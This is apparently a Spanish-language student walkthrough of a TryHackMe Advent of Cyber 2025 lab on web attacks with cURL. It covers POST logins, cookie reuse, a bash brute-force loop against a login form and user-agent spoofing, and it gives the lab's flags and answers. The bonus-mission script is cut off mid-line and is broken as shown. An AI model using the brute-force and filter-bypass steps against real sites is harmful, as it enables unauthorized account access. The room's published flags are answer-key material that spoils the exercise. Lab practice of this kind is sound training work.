

24-Exploitation with cURL - Hoperation Eggsplot

Introduction



Según la información del equipo azul, el agujero de gusano se mantiene abierto gracias a un panel de control en el servidor web de los Conejitos Malvados. El equipo debe apagarlo primero para cortar el paso a los refuerzos antes de enfrentarse al Rey Malhare.

Sin embargo, la terminal que tienen está vacía. No tiene Burp Suite ni navegador, solo un símbolo del sistema.

Pero no hay problema. El equipo usará la línea de comandos y cURL para comunicarse directamente con HTTP: enviar solicitudes, leer respuestas y encontrar los puntos finales que cerraron el portal.

- Objetivos de aprendizaje
- Comprender qué son las solicitudes y respuestas HTTP a alto nivel.
 - Usar cURL para realizar solicitudes básicas (mediante GET) y ver las respuestas sin procesar en la terminal.
 - Enviar solicitudes POST con cURL para enviar datos a los puntos finales.
 - Trabajar con cookies y sesiones en cURL para mantener el estado de inicio de sesión en todas las solicitudes.

Answer the questions below

I have successfully started the AttackBox and the target machine!

No answer needed

Web Hacking Using cURL

Solicitudes HTTP con cURL

Las aplicaciones, al igual que nuestros navegadores, se comunican con los servidores mediante HTTP (Protocolo de Transferencia de Hipertexto). Piense en HTTP como el lenguaje para solicitar recursos (páginas, imágenes, datos JSON) a un servidor y obtener respuestas.

Por lo tanto, si desea acceder a un sitio web, su navegador envía una solicitud HTTP al servidor web. Si la solicitud es válida, el servidor responde con una respuesta HTTP que contiene los datos necesarios para mostrar el sitio web.

Aunque no tenga un navegador, puede usar HTTP directamente desde la línea de comandos. La forma más sencilla es con cURL.

CURL es una herramienta de línea de comandos para crear solicitudes HTTP y visualizar respuestas sin procesar. Es ideal cuando necesita precisión o cuando no dispone de herramientas GUI.

Probando cURL

Una vez que tenga AttackBox listo, abra un símbolo del sistema y ejecute el siguiente comando:

```
root@attackbox:~# curl http://MACHINE_IP/
```

Tras ejecutar el comando, curl envía una solicitud HTTP GET a la página principal del sitio. Se recibe una respuesta HTTP con el cuerpo del sitio, que se imprime en la terminal. Al tratarse de una terminal, en lugar de mostrar la página web, se verá la representación textual de la página en HTML.

Envío de solicitudes POST

Supongamos que ha encontrado un formulario de inicio de sesión cuyo destino POST es /post.php. Al iniciar sesión a través de un navegador, se envía una solicitud POST al servidor con las credenciales introducidas. Podemos simular esto directamente desde la terminal.

Un formulario de inicio de sesión normal podría verse así:

```
root@attackbox:~# curl -X POST -d "username=user&password=user" http://MACHINE_IP/post.php
```

Debería recibir la respuesta "Credenciales inválidas".

Esto es lo que sucede:

- X POST indica a cURL que use el método POST.
- d define los datos que enviamos en el cuerpo de la solicitud.
- Los datos se enviarán en formato URL codificado, el mismo que usan los formularios HTML.

Si la aplicación espera campos adicionales, como un botón de "Iniciar sesión" o un token CSRF, también se pueden incluir:

```
AttackBox Terminal

root@attackbox:~# curl -X POST -d "username=user&password=user&submit=Login" http://MACHINE_IP/post.php
```

Para ver exactamente lo que devuelve el servidor (incluidos los encabezados y las posibles redirecciones), agregue el indicador -i:

```
AttackBox Terminal

root@attackbox:~# curl -i -X POST -d "username=user&password=user" http://MACHINE_IP/post.php
```

Si el sitio responde con un encabezado "Set-Cookie", es una buena señal: significa que has iniciado sesión correctamente o al menos has iniciado sesión.

Uso de cookies y sesiones

Una vez que inicias sesión, las aplicaciones web usan cookies para mantener tu sesión activa. Al realizar otra solicitud con tu navegador, la cookie se envía automáticamente, pero con cURL, debes gestionarla tú mismo.

Puedes hacerlo en dos pasos:

Paso 1: Guardar las cookies

```
Terminal

root@attackbox:~# curl -c cookies.txt -d "username=admin&password=admin" http://MACHINE_IP/session.php
```

- La opción `-c` guarda las cookies recibidas del servidor en un archivo (cookies.txt en este caso).
- Normalmente verá una cookie de sesión como PHPSESSID=xyz123.

Paso 2: Reutilizar las cookies guardadas.

```
Terminal

root@attackbox:~# curl -b cookies.txt http://MACHINE_IP/session.php
```

- La opción `-b` indica a cURL que envíe las cookies guardadas en la siguiente solicitud, como lo haría un navegador.

Así es exactamente como funcionan las pruebas de repetición de sesión: se reproducen las cookies válidas en solicitudes separadas.

Automatización del inicio de sesión y fuerza bruta con cURL

Ahora que podemos enviar solicitudes POST y gestionar sesiones, es hora de automatizar el proceso. Simulemos un ataque de fuerza bruta contra un formulario de inicio de sesión vulnerable.

Comience creando un archivo llamado passwords.txt y coloque las siguientes contraseñas en él:

```
admin123
password
letmein
secretpass
secret
```

Luego, crea un bucle bash simple llamado loop.sh para probar cada contraseña contra bruteforce.php y copia y pega el siguiente código dentro de él:

```
for pass in $(cat passwords.txt); do
    echo "Trying password: $pass"
    response=$(curl -s -X POST -d "username=admin&password=$pass" http://MACHINE_IP/bruteforce.php)
    if echo "$response" | grep -q "Welcome"; then
        echo "[+] Password found: $pass"
        break
    fi
done
```

Luego agregue el permiso de ejecución al script y ejecútelo, como se muestra a continuación:

```
AttackBox Terminal

root@attackbox:~# chmod +x loop.sh
root@attackbox:~# ./loop.sh
```

Así funciona:

- `$(cat passwords.txt)` lee cada contraseña del archivo.
- `curl -s` envía la solicitud de inicio de sesión silenciosamente (sin medidor de progreso).
- La respuesta se almacena en una variable.
- `grep -q` comprueba si la respuesta contiene una cadena de confirmación (como "Bienvenido").
- Al encontrarla, imprime la contraseña válida y sale del bucle.

Este mismo método es la base de herramientas como Hydra, Burp Intruder y Wfuzz. Al hacerlo manualmente, se comprende lo que ocurre en segundo plano: un POST HTTP repetitivo con datos variables, a la espera de una respuesta diferente.

Evitando las comprobaciones del agente de usuario

Algunas aplicaciones bloquean cURL comprobando el encabezado del agente de usuario. Por ejemplo, el servidor puede rechazar solicitudes con: `User-Agent: curl/7.x.x`

Para especificar un agente de usuario personalizado, podemos usar el indicador `-A` :

```
Terminal

root@attackbox:~# curl -A "internalcomputer" http://MACHINE_IP/ua_check.php
```

Para confirmar la comprobación:

```
Terminal

root@attackbox:~# curl -i http://MACHINE_IP/ua_check.php
root@attackbox:~# curl -i -A "internalcomputer" http://MACHINE_IP/ua_check.php
```

Si la primera falla y la segunda tiene éxito, la comprobación de UA funciona y la has eludido mediante suplantación de identidad.

Misión adicional

Esta sección es opcional y solo aplica a la pregunta adicional final. Las instrucciones de esta sección no aplican a las preguntas regulares. Si no tienes intención de intentarlo, puedes omitirla y continuar con las preguntas regulares.

Antes de que comience la batalla final, el agujero de gusano debe cerrarse para detener los refuerzos enemigos. Los malvados conejos de Pascua operan un panel de control web que lo mantiene abierto. El equipo azul debe identificar los puntos finales, autenticarse, obtener el token del operador y ejecutar la operación de cierre.

Sugerencia: Usa rockyou.txt al forzar la contraseña (solo para la misión adicional). El PIN está entre 4000 y 5000.

server: http://MACHINE_IP/terminal.php?action=panel

Answer the questions below

Make a **POST** request to the /post.php endpoint with the **username** admin and the **password** admin . What is the flag you receive?

Respuesta: THM{curl_post_success}

```
root@ip-10-81-107-201:~# curl -i -X POST -d "username=admin&password=admin" http://10.81.177.202/post.php
HTTP/1.1 200 OK
Date: Sat, 27 Dec 2025 20:36:18 GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 47
Content-Type: text/html; charset=UTF-8

Login successful!
Flag: THM{curl_post_success}
```

Make a request to the /cookie.php endpoint with the **username** admin and the **password** admin and save the cookie. Reuse that saved cookie at the same endpoint. What is the flag your receive?

Respuesta: THM{session_cookie_master}

```
root@ip-10-81-107-201:~# curl -c cookies.txt -d "username=admin&password=admin" http://10.81.177.202/cookie.php
Login successful. Cookie set.
root@ip-10-81-107-201:~# curl -b cookies.txt http://10.81.177.202/cookie.php
Welcome back, admin!
Flag: THM{session_cookie_master}
```

After doing the brute force on the /bruteforce.php endpoint, what is the password of the admin user?

Respuesta: secretpass

```
root@ip-10-81-107-201:~# nano passwords.txt
```

```
GNU nano 4.8 passwords.txt
admin123

password

letmein

secretpass

secret
```

```
root@ip-10-81-107-201:~# nano loop.sh
```

```
GNU nano 4.8 loop.sh Modified
for pass in $(cat passwords.txt); do

    echo "Trying password: $pass"

    response=$(curl -s -X POST -d "username=admin&password=$pass" http://10.81.177.202/bruteforce.php)

    if echo "$response" | grep -q "Welcome"; then

        echo "[+] Password found: $pass"

        break

    fi

done
```

```
root@ip-10-81-107-201:~# chmod +x loop.sh
```

```
root@ip-10-81-107-201:~# ./loop.sh
Trying password: admin123
Trying password: password
Trying password: letmein
Trying password: secretpass
[+] Password found: secretpass
```

Make a request to the /agent.php endpoint with the user-agent TBFC . What is the flag your receive?

```
Respuesta: THM{user_agent_filter_bypassed}

root@ip-10-81-107-201:~# curl -i -A "TBFC" http://10.81.177.202/agent.php
HTTP/1.1 200 OK
Date: Sat, 27 Dec 2025 20:49:33 GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 38
Content-Type: text/html; charset=UTF-8

Flag: THM{user_agent_filter_bypassed}
```

Bonus question: Can you solve the Final Mission and get the flag?

```
Check

root@ip-10-81-107-201:~# curl -i http://10.81.177.202/terminal.php?action=panel
HTTP/1.1 200 OK
Date: Sat, 27 Dec 2025 20:52:03 GMT
Server: Apache/2.4.52 (Ubuntu)
Set-Cookie: PHPSESSID=61t7ccf59tlqbmmqt73c7phc0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 106
Content-Type: text/html; charset=UTF-8

<h2>Access denied</h2><p>This admin panel is terminal-only and is only accessible using secretcomputer</p>root@ip-10-81-107-201:~#

root@ip-10-81-107-201:~# nano loop.sh
```

cambiamos el directorio a rockyou y la direccion ip

```
GNU nano 4.8                                loop.sh
for pass in $(cat rockyou.txt); do

    echo "Trying password: $pass"

    response=$(curl -s -X POST -d "username=admin&password=$pass" http://10.81.177.202/terminal.php?action=

    if echo "$response" | grep -q "Welcome"; then

        echo "[+] Password found: $pass"

        break

    fi

done
```

jecutamos

```
root@ip-10-81-107-201:~# ./loop.sh
```

Conclusion

Comienza la Batalla Final

Con el agujero de gusano cerrado, el rey Malhare ya no tenía acceso a sus refuerzos. McSkidy miró a sus compañeros de Wareville. El rey solo sería vulnerable por un momento. ¡El momento de atacar era ahora!

"¡A la carga!", exclamó McSkidy.

McSkidy y los habitantes de Wareville comenzaron a descargar una lluvia de bolas de nieve sobre el batallón de conejos del rey. Rápidamente respondieron al fuego con proyectiles de huevo. El horizonte se convirtió en una mancha borrosa de bolas de nieve y huevos, y McSkidy aprovechó este momento de caos para colarse en la sala del trono del rey.

Justo cuando McSkidy estaba a punto de entrar, una voz la detuvo.
"No tan rápido", rió Sir Carrotbane.

Se acercó lentamente a McSkidy, quien de repente se sintió mal preparada. Justo cuando pensaba que no tenía suerte, Sir Breachblocker III se interpuso frente a ella.

"Vámonos", dijo simplemente.

—¿Qu... qué estás haciendo? —tartamudeó Sir Zanahoria.

—Lo que debería haber hecho hace mucho tiempo. ¡Lo correcto! —Sir Breachblocker III golpeó la nieve con su escudo y desenvainó su espada.
—¡Vamos! —gritó, volviéndose hacia McSkidy.



El Fin del Camino

McSkidy aprovechó la oportunidad y corrió a la sala del trono del rey, donde encontró al rey Malhare haciendo un berrinche.

"¿DÓNDE ESTÁN MIS REFUERZOS?!"

"No vienen, Malhare", afirmó McSkidy. "Se acabó. Wareville es nuestro. Ahora veamos qué te parece estar cautivo. ¡Ahora!"

Mientras gritaba, dos habitantes de Wareville le lanzaron una jaula al rey.

Se acabó. Gracias en gran parte a sus esfuerzos, McSkidy había sido liberada y el rey Malhare finalmente había sido detenido. Wareville estaba a salvo una vez más. El rey fue destronado y enviado a la prisión de HopSec junto con su cómplice, Sir Carrotbane. Sir Breachblocker III fue indultado por su participación en detener el plan tiránico del rey y más tarde se convirtió en el rey Breachblocker.

¡Felicidades por terminar Advent of Cyber y salvar el día! De parte de todos en TryHackMe, ¡les deseamos una Feliz Navidad y un Año Nuevo lleno de alegría!

Answer the questions below

I just completed Advent of Cyber 2025!

No answer needed